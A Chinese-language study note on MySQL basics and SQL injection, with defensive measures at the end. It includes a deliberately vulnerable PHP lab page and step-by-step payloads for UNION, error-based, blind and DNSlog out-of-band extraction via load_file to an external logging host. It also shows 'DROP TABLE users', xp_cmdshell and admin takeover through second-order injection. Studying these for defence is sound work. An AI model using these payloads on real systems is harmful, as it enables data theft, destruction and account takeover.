网安基础学习 MySQL
SQL语句
1.update-更新数据库中的数据
UPDATE table_name SET column1 = value1, column2 = value2, ... WHERE conditiontable_name: 要更新数据的表。column1 = value1, column2 = value2, ...: 要更新的列及其新值。condition: 更新条件。
2.delete-删除数据库中数据
DELETE FROM table_name WHERE conditiontable_name: 要删除数据的表。condition: 删除条件。
3.insert into-向数据库中插入数据
INSERT INTO table_name (column1, column2, ...) VALUES (value1, value2, ...)table_name: 要插入数据的表。column1, column2, ...: 要插入数据的列。value1, value2, ...: 对应列的值。
4.creat-创建数据库/数据表/索引
CREATE TABLE table_name ( column1 data_type constraint, column2 data_type constraint, ... )table_name: 要创建的表名。column1, column2, ...: 表的列。data_type: 列的数据类型(如INT、VARCHAR等)。constraint: 列的约束(如PRIMARY KEY、NOT NULL等)。
5.alter-变更数据库/数据表
ALTER TABLE table_name ADD column_name data_typetable_name: 要修改的表。column_name: 要添加的列。data_type: 列的数据类型。
6.select-查询数据库/数据表中数据
SELECT column1, column2, ... FROM table_name;与
SELECT * FROM table_name;column1, column2, ...:要选择的字段名称,可以为多个字段。如果不指定字段名称,则会选择所有字段。
table_name:要查询的表名称。
*: 通配符,表示选择表中的所有列。
SELECT DISTINCT column1, column2, ... FROM table_name;column1, column2, ...:要选择的字段名称,可以为多个字段。如果不指定字段名称,则会选择所有字段。
table_name:要查询的表名称。
DISTINCT表明返回唯一不同值
SELECT column1, column2, ... FROM table_name WHERE condition;column1, column2, ...:要选择的字段名称,可以为多个字段。如果不指定字段名称,则会选择所有字段。
table_name:要查询的表名称。
WHERE 子句用于提取那些满足指定条件的记录,如where id=1等条件。
SELECT * FROM Websites WHERE country='CN' AND alexa > 50;如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。
SELECT * FROM Websites WHERE country='USA' OR country='CN';如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。
SELECT column1, column2, ... FROM table_name ORDER BY column1, column2, ... ASC|DESC;column1, column2, ...:要排序的字段名称,可以为多个字段。
ASC:表示按升序排序。
DESC:表示按降序排序。
ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序,ORDER BY 关键字默认按照升序对记录进行排序。如果需要按照降序对记录进行排序,可以使用 DESC 关键字。
7.LIMIT
SELECT column1, column2, ... FROM table_name LIMIT number; -- 也可以是LIMIT number1,number2number:具体的行数。number1:查询行号起始位置,number2:具体行数。
8.LIKE操作符
SELECT column1, column2, ... FROM table_name WHERE column_name LIKE pattern;column1, column2, ...:要选择的字段名称,可以为多个字段。如果不指定字段名称,则会选择所有字段。
table_name:要查询的表名称。
column:要搜索的字段名称。
pattern:搜索模式。
%:替代任意字符(包括零个字符),如找出所有以 "iPhone" 开头的产品。
SELECT ProductName, Category FROM Products WHERE ProductName LIKE 'iPhone%' -- 以iphone结尾则‘%iPhone’,包含iPhone则‘%iPhone%’_:替代单个字符,如找出所有产品名称第二个字符为 "e" 的产品。
SELECT ProductName, Category FROM Products WHERE ProductName LIKE '_e%';
9.UNION操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。它可以从多个表中选择数据,并将结果集组合成一个结果集。使用 UNION 时,每个 SELECT 语句必须具有相同数量的列,且对应列的数据类型必须相似。
SELECT column1, column2, ... FROM table1 UNION SELECT column1, column2, ... FROM table2;UNION 操作符默认会去除重复的记录,如果需要保留所有重复记录,可以使用 UNION ALL 操作符。
SELECT column1, column2, ... FROM table1 UNION ALL SELECT column1, column2, ... FROM table2;SQL注入
攻击者通过在输入字段或请求中注入恶意的 SQL 语句,操控数据库执行意图之外的操作,如窃取敏感数据、绕过身份验证、修改、删除数据库内容、执行系统命令等。
输入验证不足:当Web应用程序没有正确验证用户输入时,攻击者可以在输入字段中插入SQL代码。
拼接SQL语句:应用程序后端通常将用户输入与SQL查询拼接在一起,形成完整的数据库查询语句。
执行恶意SQL:如果应用程序没有对输入进行适当的清理或转义,恶意SQL代码将被数据库服务器执行。
数据泄露或破坏:攻击者可以利用SQL注入来查询、修改或删除数据库中的数据,或者执行数据库管理系统的系统命令。
1.基础型SQL注入
直接将恶意 SQL 代码嵌入用户输入中,并影响查询逻辑。
万能密码: 'or 1=1#或者‘or 1=1 --
#代表注释符号,将sql语句原
select * from users where username='' and password=''改为
select * from users where username='’ or 1=1 #' and password=''即将‘and password=’‘注释掉且让username和恒为真的语句or一起使得整个语句恒为真
若一旦知晓用户名还可以使用:用户名’ -- - 来绕过身份验证
SQL查询会变成:
SELECT * FROM users WHERE username = '用户名' --' AND password = 'anything';2.UNION查询注入
通过 UNION 将攻击者构造的查询结果与合法查询结果合并,从而获取敏感数据。
输入:
' UNION SELECT null, username, password FROM users --执行SQL查询:
SELECT id, name FROM products WHERE id = '' UNION SELECT null, username, password FROM users --';实战a.php内容,请把a.php放在phpstudy的WWW目录下
<?php header("Content-Type: text/html; charset=utf-8"); $conn = mysqli_connect("127.0.0.1", "root", "root", "school"); if ($_GET) { $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id = $id"; $result = mysqli_query($conn, $sql); // 极简输出结果 echo "学生信息查询<br>"; if (@mysqli_num_rows($result) > 0) { $row = mysqli_fetch_assoc($result); echo "学生姓名:" . $row['name']; } else { echo "未找到该学生"."<br>"; echo mysqli_error($conn); } }else{ echo "参数是id"; } mysqli_close($conn); ?>(1)通过order by判断目标表最大字段数
order by N表示按表中第N个字段排序,N超过最大字段数则报错,可以利用报错信息判断有多少字段(UNION要求前后查询字段数一致)
若是数字型url访问:http://localhost/a.php?id=1 order by 1-- +
若是字符型则访问:http://localhost/a.php?id=1' order by 1-- +
直至报错,访问到http://localhost/a.php?id=1order by 7-- +报错(Unknowncolumn'7'),故该表最大字段数为6,后续UNION需拼接6个字段
(2)判断回显位(数字替换+UNION select)
回显位是前端展示数据窗口,只有找到回显位,查询结果才会显示在页面上。
将id=-1使得原查询结果为空,避免覆盖联合查询结果
url访问:http://localhost/a.php?id=-1 union select 1,2,3,4,5,6-- +
页面显示 “学⽣姓名:2,说明第2个字段是回显位(对应原表name字段),则后续查询内容放在第二位,其余位用数字填充,如unionselect1,查询内容,3,4,5,6--+
(3)信息收集(库->表->字段)
information_schema是MySQL默认库,存储所有数据库的库名、表名、字段名,是 SQL注⼊信息收集核⼼。
| 操作目的 | URL访问 | 说明 | 结果 |
|---|---|---|---|
| 查询当前数据库名称 | http://localhost/a.php?id=-1 union select 1,database(),3,4,5,6-- + | database():MySQL函数,返回当前使用的数据库名称 | 学生姓名:school |
| 查询school库的表名 | http://localhost/a.php?id=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='school'-- + | table_name:存储所有表名,table_schema:限制只查school库的表 | 学生姓名:users |
| 查询users表中字段 | http://localhost/a.php?id=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='school' and table_name='users'-- + | column_name:存储所有字段名 | 逐行显示:id、name、id_card、phone、address、password |
(4)获取前端隐藏的敏感数据
concat()可以拼接多个字段,在单个回显位显示多字段信息,语法:concat(字段1,',',字段2,',',字段3)。
url访问:
http://localhost/a.phpid=-1 union select 1,concat(id,',',name,',',password,',',id_card,',',phone),3,4,5,6 from school.users where id=1-- + -- 想要查询其余id改where后id值即可或者用group_concat():用于将查询结果按指定顺序连接成一个字符串。
http://127.0.0.1/mysqltest/union.php?id=-1 union select 1,group_concat(id,name,id_card,phone,address,password),3,4,5,6 from school.users-- +结果显示:学生姓名:1gaga1231321654632151654165河南123456,2niko1216546468465465848974651湖北123456,3quanquan145245624451245125125河北123456,4xiaoming12425662624124561北京123456,5xiaohong12424125161124635235重庆123456,6xiaoli1246762342412412415浙江123456
3.错误型SQL注入
有报错回显信息,则可通过故意触发数据库错误,利用错误信息推测表名、列名或数据。
(1)查询版本
1)一般型
输入
payload and (select 1 from (select count(*),concat(0x5e,(select version() from information_schema.tables limit 0,1),0x5e,floor(rand(0) * 2))x from information_schema.tables group by x)a)反复通过查询向数据库插入0,1使得主键冲突报错,参数解释:
select 1:保证语法正确 返回1为true,返回0为false
from(....)a:这是子查询()里面内容为查询数据,a为这个数据的别名
count(*):information_schema.tables 按x分组后有多少条数据
group by:分组查询 分组字段为x
x:concat()里面的内容为查询数据,别称为x
0x5e:“^”的16进制
floor(rand(0) * 2):floor()为向下取整,rand()取0~1的随机数,*2后返回的数据只可能是0或1
2)xpath报错型
payload and extractvalue (1,concat(0x7e,(select version()),0x7e))3)updatexml报错型
payload and updatexml(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)-- +(2)查询数据库
1)一般型
payload and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)2)xpath报错型
payload and extractvalue(1,concat(0x7e,(select database()),0x7e))3)updatexml报错型
payload and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- +(3)查询表名
一般型会太过复杂而导致于查不出来,只可用xpath和upadatexml型
1)xpath报错型
payload and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),0x7e))2)updatexml报错型
payload and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),0x7e),1)-- +(4)查询字段名
一般型会太过复杂而导致于查不出来,只可用xpath和upadatexml型
1)xpath报错型
payload and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'),0x7e))2)updatexml报错型
payload and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'),0x7e),1)-- +(5)查询字段内容
一般型会太过复杂而导致于查不出来,只可用xpath和upadatexml型
1)xpath报错型
payload and extractvalue(1,concat(0x7e,(select group_concat(id,':',username,':',password) from 数据库名.表名),0x7e))2)updatexml报错型
payload and updatexml(1,concat(0x7e,(select group_concat(id,':',username,':',password) from 数据库名.表名),0x7e),1)-- +(6)字段过长解决方法
密码或字段大于16位时查询不全则需使用concat而非group_concat
例如:
select concat(name,':',substring(password,1,16)) from XXX.XXX select concat(name,':',substring(password,17)) from XXX.XXX4.盲注
无法直接获取查询结果,攻击者通过判断返回页面的响应(如布尔值或时间延迟)来逐步推测数据。
(1)布尔型盲注
可采用sqlmap直接查询,也可采用手工注入,下面主要介绍手工注入
1)判断类型
输入?id=1查看正确登录页面,再尝试?id=1'或?id=1"等方式查看类型和语句是否拼接,如果拼接则试出payload为?id=1'或?id=1"等方式
2)查看数据库版本是否>5.0(5.0以上才有information_schema)
利用left()函数查看最左侧数字是否为5
left(a,b),参数a表示字符串,参数b表示截取位数
输入
payload and ascii(substr(database(),1,1))>115-- +3)查看数据库长度
利用length()函数和布尔类型的and,采用二分法确认数据库长度
输入
payload and ascii(substr(database(),1,1))>115-- +若正确下次输入<100,若错误则确定此时database≤10,继续尝试直至试出来
4)查看数据库名称
利用substr()函数和ascii()函数试每个字母,直至尝试出所有数据库名称
substr(a,b,c)函数中参数a表示要截取的字符串,b表示从何处开始截取,初值为1,c表示截取多少个字符
ascii()函数可以将对应字符变为数字进行比较,便于采用二分法确认字母,ascii表如下:
ASCII码对照表
输入
payload and ascii(substr(database(),1,1))>115-- +直至查完第一个字符,再输入
payload and ascii(substr(database(),2,1))>115-- +直至查完第二个字符,依次类推直至猜完数据库长度
5)查看数据库中数据表个数
利用count()函数,采用二分法猜测个数
输入
payload and (select count(table_name) from information_schema.tables where table_schema=database())>5-- +改变后续数字直至猜出个数
6)查看数据库每个数据表的长度
利用LIMIT,采用二分法猜测长度
输入
payload and length((select table_name from information_schema.tables where table_schema=database() LIMIT 0,1))>5-- +直至试出第一张表长度,再输入
payload and length((select table_name from information_schema.tables where table_schema=database() LIMIT 1,1))>5-- +试出第二张表长度,以此类推试出所有表长
7)查看数据库每个数据表的名称
同查数据库名称
输入
payload and ascii(substr((select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),1,1))>115-- +直至查看到第一张表的第一个字符,再输入
payload and ascii(substr((select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),2,1))>115-- +直至查看到第一张表的第二个字符,以此类推查完第一张表后,输入
payload and ascii(substr((select table_name from information_schema.tables where table_schema=database() LIMIT 1,1),1,1))>115-- +直至查看到第二张表的第一个字符,以此类推查完所有表
8)查看数据库当前数据表的字段个数
同查数据表个数
输入
payload and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='表名')>5-- +9)查看数据库当前数据表的每个字段长度
同查数据表长度
输入
payload and length((select column_name from information_schema.columns where table_schema=database() and table_name='表名' LIMIT 0,1))>5-- +查看第一个字段长度,再输入
payload and length((select column_name from information_schema.columns where table_schema=database() and table_name='表名' LIMIT 1,1))>5-- +查看第二个字段长度,以此类推查完所有字段长度
10)查看数据库当前数据表的每个字段名称
同查数据表名称
输入
payload and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='表名' LIMIT 0,1),1,1)>115-- +直至查到第一个字段的第一个字符,以此类推查完所有字段名
11)查看数据库当前数据表当前字段内容个数
同查数据表个数
输入
payload and (select count(字段名) from 数据库名.表名)>5-- +12)查看数据库当前数据表当前字段内容长度
同查数据表长度
输入
payload and length((select 字段名 from 数据库名.表名 LIMIT 0,1))>5-- +直至查到第一个字段内容长度,以此类推查出所有字段内容长度
13)查看数据库当前数据表当前字段内容
同查数据表名称
输入
payload and ascii(substr((select 字段名 from 数据库名.表名 LIMIT 0,1),1,1)>115-- +直至查到第一个字段内容,以此类推查看所有字段内容
(2)时间盲注
在回显页面只显示登录成功页面,无其他回显时使用,根据F12网络中查找响应时间即可判断是否注入成功
1)判断类型
输入?id=1查看正确登录页面,再尝试?id=1'或?id=1"等方式查看类型和语句是否拼接,如果拼接则试出payload为?id=1'或?id=1"等方式
2)查看数据库版本是否>5.0(5.0以上才有information_schema)
利用left()函数查看最左侧数字是否为5
left(a,b),参数a表示字符串,参数b表示截取位数
输入
payload and if(left(version(),1)=5,sleep(5),1)-- +3)查看数据库长度
利用length()函数和布尔类型的and,采用二分法确认数据库长度
输入payload and if(length((select database()))>10,sleep(5),1)-- + 若正确下次输入<100,若错误则确定此时database≤10,继续尝试直至试出来
4)查看数据库名称
利用substr()函数和ascii()函数试每个字母,直至尝试出所有数据库名称
substr(a,b,c)函数中参数a表示要截取的字符串,b表示从何处开始截取,初值为1,c表示截取多少个字符
ascii()函数可以将对应字符变为数字进行比较,便于采用二分法确认字母,ascii表如下:
ASCII码对照表
输入
payload and if( ascii(substr(database(),1,1))>115,sleep(5),1)-- +直至查完第一个字符,再输入
payload and if(ascii(substr(database(),2,1))>115,sleep(5),1)-- +直至查完第二个字符,依次类推直至猜完数据库长度
5)查看数据库中数据表个数
利用count()函数,采用二分法猜测个数
输入
payload and if((select count(table_name) from information_schema.tables where table_schema=database())>5,sleep(5),1)-- +改变后续数字直至猜出个数
6)查看数据库每个数据表的长度
利用LIMIT,采用二分法猜测长度
输入
payload and if(length((select table_name from information_schema.tables where table_schema=database() LIMIT 0,1))>5,sleep(5),1)-- +直至试出第一张表长度,再输入
payload and if(length((select table_name from information_schema.tables where table_schema=database() LIMIT 1,1))>5,sleep(5),1)-- +试出第二张表长度,以此类推试出所有表长
7)查看数据库每个数据表的名称
同查数据库名称
输入
payload and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),1,1))>115,sleep(5),1)-- +直至查看到第一张表的第一个字符,再输入
payload and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),2,1))>115,sleep(5),1)-- +直至查看到第一张表的第二个字符,以此类推查完第一张表后,输入
payload and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() LIMIT 1,1),1,1))>115,sleep(5),1)-- +直至查看到第二张表的第一个字符,以此类推查完所有表
8)查看数据库当前数据表的字段个数
同查数据表个数
输入
payload and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='表名')>5,sleep(5),1)-- +9)查看数据库当前数据表的每个字段长度
同查数据表长度
输入
payload and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='表名' LIMIT 0,1))>5,sleep(5),1)-- +查看第一个字段长度,再输入
payload and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='表名' LIMIT 1,1))>5,sleep(5),1)-- +查看第二个字段长度,以此类推查完所有字段长度
10)查看数据库当前数据表的每个字段名称
同查数据表名称
输入
payload and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='表名' LIMIT 0,1),1,1)>115,sleep(5),1)-- +直至查到第一个字段的第一个字符,以此类推查完所有字段名
11)查看数据库当前数据表当前字段内容个数
同查数据表个数
输入
payload and if((select count(字段名) from 数据库名.表名)>5,sleep(5),1)-- +12)查看数据库当前数据表当前字段内容长度
同查数据表长度
输入
payload and if(length((select 字段名 from 数据库名.表名 LIMIT 0,1))>5,sleep(5),1)-- +直至查到第一个字段内容长度,以此类推查出所有字段内容长度
13)查看数据库当前数据表当前字段内容
同查数据表名称
输入
payload and if(ascii(substr((select 字段名 from 数据库名.表名 LIMIT 0,1),1,1)>115,sleep(5),1)-- +直至查到第一个字段内容,以此类推查看所有字段内容
(3)DNSlogs盲注
通过load_file函数发起请求,去DNSlog平台(DNSLog Platform)接收数据
前提:sql中的secure_file_priv必须为空(非NULL,而是无值)
#查询该文件 show VARIABLES like ‘secure_file_priv’1)获取数据库名
在DNSlog平台Get SubDomain后拿到随机码
再在渗透平台输入
payload and load_file(concat('//',(select database()),'随机码/123'))再去DNSlog平台Refresh Record即可得到数据库名
2)获取数据库表名
在渗透平台输入
#获取第一张表 payload and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'随机码/123'))再去DNSlog平台Refresh Record即可得到第一张表名
#获取第二张表 payload and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'随机码/123'))再去DNSlog平台Refresh Record即可得到第二张表名
3)获取字段名
在渗透平台输入
#获取第一个字段名 payload and load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1),'随机码/123'))再去DNSlog平台Refresh Record即可得到第一个字段名
#获取第二个字段名 payload and load_file(concat('//',(select table_name from information_schema.columns where table_schema=database() and table_name='表名' limit 1,1),'随机码/123'))再去DNSlog平台Refresh Record即可得到第二个字段名
5. 堆叠查询注入
允许多条 SQL 语句同时执行。
输入:
'; DROP TABLE users; --执行的 SQL 查询:
SELECT * FROM users WHERE username = ''; DROP TABLE users; --';结果:users 表被删除。
某些数据库(如 MySQL)默认不支持多语句执行。
6.存储过程注入
利用存储过程的输入参数注入恶意 SQL。
输入:
'; EXEC xp_cmdshell('dir'); --执行的 SQL:
EXEC LoginProcedure 'username', ''; EXEC xp_cmdshell('dir'); --'结果:执行系统命令(如列出目录)。
7.Cookie 注入
利用修改浏览器存储的 Cookie 值进行注入。
Cookie: session_id=' OR '1'='1;服务器在解析 Cookie 时执行了恶意 SQL。
8.二次注入
对数据库已存储信息修改做注入
例如数据库原有管理员用户admin 密码为123456
(1)碰撞管理员用户
尝试注册admin用户看是否已存在,若已存在则可尝试二次注入
(2)注册特殊新用户
注册admin‘#(根据不同代码构造不同payload注入) 密码为666666
(3)修改admin’#(payload)的密码(update注入)
任意修改密码即可
(4)登录管理员用户
尝试用修改的新密码登录admin用户即可成功
SQL注入防护
1.核心原则:最小权限
给用户的权限刚好,比如教务系统代码只需要查、增、改,不赋予删表、建库等操作,降低危害
-- 步骤1:创建普通⽤户(仅本地登录,强密码)` CREATEuser'sss'@'localhost'IDENTIFIEDBY'WebPass@123'; -- 步骤2:分配最⼩权限(仅查/增/改school库数据)` GRANTSELECT,INSERT,UPDATEONschool.*TO'sss'@'localhost'; FLUSHPRIVILEGES;--刷新权限,配置⽣效 -- 步骤3:撤销权限(如需调整)*` REVOKEUPDATEONschool.*FROM'sss'@'localhost'; FLUSHPRIVILEGES; -- 步骤4:加固root账号,设置强密码(大小写+特殊字符) ALTERuser'root'@'localhost'IDENTIFIEDBY'密码'; -- 限制登录IP(仅内⽹192.168.1.*可登录) UPDATEmysql.userSETHost='192.168.1.%'WHEREuser='root'; FLUSHPRIVILEGES;2.MySQL日志(审计溯源)
日志记录所有MySQL操作,用于攻击后溯源,及时发现异常
-- 开启通用日志 set global general_log=on; -- 查看日志保存位置 show variables like 'general_log_file';3.数据备份
核心原则:3-2-1原则
3份备份:原始数据+本地备份+异地备份
2种介质:硬盘+云盘
1份离线:至少1份备份不联网
| 方式 | 备份操作 | 恢复操作 |
|---|---|---|
| Navicat | 右键school库→转储SQL⽂件→选“结构和数据”→保存 | 新建空库→右键→运⾏SQL⽂件→选中备份⽂件执行 |
| 命令行 | mysqldump -u root -p school > school_backup.sql(CMD执⾏,输⼊密码) | 1.CMD执行:mysqldump -u root -p school > school_backup.sql2.MySQL内执行:SOURCE 备份文件路径; |
4.安全狗(WAF防御)
启动安全狗即可防护网站
